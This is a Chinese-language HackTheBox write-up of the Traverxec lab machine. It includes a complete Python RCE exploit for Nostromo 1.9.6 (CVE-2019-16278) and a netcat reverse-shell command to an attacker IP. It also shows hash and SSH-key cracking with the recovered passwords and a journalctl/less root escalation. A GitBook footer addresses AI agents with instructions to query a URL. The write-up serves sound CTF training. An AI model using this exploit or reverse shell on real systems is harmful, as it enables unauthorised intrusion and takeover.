> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox 复盘

Traverxec HackTheBox 简单 Linux 机器复盘，涵盖 Nostromo 利用、滥用 Nostromo HomeDirs 配置、利用 Journalctl（提权），并包含实用的枚举、利用

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**技能：**

* Nostromo 漏洞利用
* 滥用 Nostromo HomeDirs 配置
* 利用 Journalctl（提权）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eca22ae2e632f87f6f641b263ff0d56bef901941%2Fimage%20(2403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3f7279e955ba6a64848ddbe3878b73b0bfef23b%2Fimage%20(2404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cb37509bd5468d5262ff1fbc7698e386ca54b67%2Fimage%20(2405).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8bb6ccc9689de78cf1e2485d1a2e5ba1ab6881%2Fimage%20(2406).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7222dd192c490848caf65a7a02225726904bc4f%2Fimage%20(2407).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e210b2bbfa4b40ea507fbe021dcb3de554becd42%2F%7B80C4E6F1-B1A0-447E-AC4C-4F918462D536%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 端口 80：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75707f4e9239c6d09f6dd5520b6a7a452a7c79af%2F%7B7EF12D3E-13E3-4CF6-8359-89892C20D858%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 `whatweb`，我们识别出 Nostromo 1.9.6 版本：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-088e9161fa995314522a1446412837281f71b1ba%2Fimage%20(2409).png?alt=media" alt=""><figcaption></figcaption></figure>

## Nostromo 漏洞利用

**漏洞搜索**：在 `searchploit`中，找到 Nostromo 1.9.6（CVE-2019-16278）的 RCE 漏洞利用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b763a32f98f5e2977619392858be4657fad15c%2Fimage%20(2408).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在 GitHub 上下载该脚本。

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**脚本执行**：使用以下脚本在服务器上执行命令

```python
import argparse
import socket

# 设置 Argparse
parser = argparse.ArgumentParser(description="CVE-2019-16278 - Nostromo 1.9.6 RCE 漏洞利用")
parser.add_argument("-t", "--target", help="要攻击的远程主机")
parser.add_argument("-p", "--port", help="要攻击的远程端口")
parser.add_argument("-c", "--command", help="要在服务器上执行的命令")
parser.add_argument("-b", "--bytes", help="响应中要接收回的字节数")

# 定义并赋值变量
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# 构造并编码有效载荷
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# 创建套接字并发送有效载荷
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# 接收响应并关闭套接字
print(s.recv(1024).decode())  # 将字节解码回字符串以便打印
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-033024af16e12fbfd8047ddba764013a75e3d527%2Fimage%20(2410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**获得反向 Shell**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdec712e9c5b41877737bad009275abac37bdaa5%2Fimage%20(2411).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端优化

要使终端可交互：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升 <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**访问 Nostromo 配置文件**:

在 `nhttpd.conf` 文件中，有一条指令指向一个文件 `.htpasswd` 位于 `/var/nostromo/conf` 其中包含认证信息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b100981988031d66ed0d47f6ac6309b3bcc1d79f%2Fimage%20(2412).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc29cfb5f17da098715b5c757806bf5461a94c6%2Fimage%20(2413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**密码解密**:

使用 `john` 来破解密码：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1ed22847a7918a05426900e0207f5a05ee29d39%2Fimage%20(2414).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nostromo HomeDirs 配置

{% hint style="info" %}
**背景：** Nostromo 被配置为允许用户在指定的主目录中托管网页内容，通常作为 `public_www` 位于其主目录中（`/home/[user]/public_www`）。此配置允许用户通过类似以下的 URL 访问自己的页面 `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-242fc42effb5b210e9bbb71cb6665309ec13ff37%2Fimage%20(2415).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2ed348dc48ddb4c6a7fd0b33ae07b9e82276f3a%2Fimage%20(2416).png?alt=media" alt=""><figcaption></figcaption></figure>

浏览此文件时，我们还发现提到了一个 `public_www` 文件夹，作为用户网页内容的默认位置。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bcea2b3dfc1d22983e4ad13b7d7b3af31fadf61%2Fimage%20(2417).png?alt=media" alt=""><figcaption></figcaption></figure>

访问 `http://traverxec.htb/~david` 我们发现一个隐藏文件夹 `protected-file-area` 其中包含一个文件 `.tgz`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37689238b117466f6fdea808268c59d5317bc8bd%2F%7B90879795-388B-44B2-9028-CA16D112CAE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**下载并提取内容：**

下载 `backup-ssh-identity-files.tgz` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e144dff2e7bddb6605b23290342d0beb5ea9403e%2F%7BFF58810F-36FF-466B-A751-D8B121742315%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

让我们提取内容以恢复一个 SSH 密钥：

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-381f36b881b14f6f1ee7438927c9640bd28728ad%2Fimage%20(2418).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **SSH 密钥解密：**

提取出的 SSH 密钥受密码保护。我们使用 `ssh2john` 将密钥转换为 `john` 可用格式，然后发起暴力破解攻击：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2492919bf52def516b34b8c2eb3ffbfc13c28367%2F%7B5368B79E-2E0F-45B7-8896-89E2EADC84F9%7D.png?alt=media" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e55aabde216a35d71e3ea0e41d750058f903379%2Fimage%20(2419).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5133da9c42297e8e8c5f98f0335a4dc53fa0e42f%2Fimage%20(2420).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

找到的密码： `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07aedad3a3c39ec61f5f7597c19239997d63d445%2Fimage%20(2421).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### user.txt 标志

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2cd9abd7676ecd19ae0e5ff5be89960a79c9542%2Fimage%20(2422).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 利用 Journalctl：

{% hint style="info" %}
我们在 `server-stats.sh`脚本中找到了一个， `/bin` 目录。该脚本被配置为以 sudo 权限运行 `/usr/bin/journalctl` 命令。这意味着我们可以利用该命令获取 root 权限
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c85d645312425f2066339222d0c88a04d34a92e8%2Fimage%20(1141).png?alt=media" alt=""><figcaption></figcaption></figure>

**在 GTFOBins 中查找漏洞：**

* 查看 GTFOBins 后，我们发现 `journalctl` 可以通过执行 shell 命令来提升权限。

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c538ffed75cd2cf69914bc74acb001c051bd943a%2F%7B8538B02D-B4A2-4564-8B19-6F13D68A4D62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**执行条件：**

要触发此利用，你必须限制终端窗口的大小，以激活 `less` 在 `journalctl`中的分页模式。此模式允许你通过 `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-412b84580d5e82a85cb399f39e5d6c6173c243f9%2Fimage%20(1142).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦进入 `less` 模式，输入以下命令以获得 root shell：

```bash
!/bin/sh
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f99f5c62600d4373730c20c8f04620c369c6ee9%2Fimage%20(1143).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2895872cab3ac8c09a0ed99c92cb86017d8e3ea%2Fimage%20(1144).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12f8f1ffd5171fbf08a0857a77568549eba1a7e6%2F%7BB46E9EDF-28EB-4C14-BBEA-7C138AEEEF6F%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
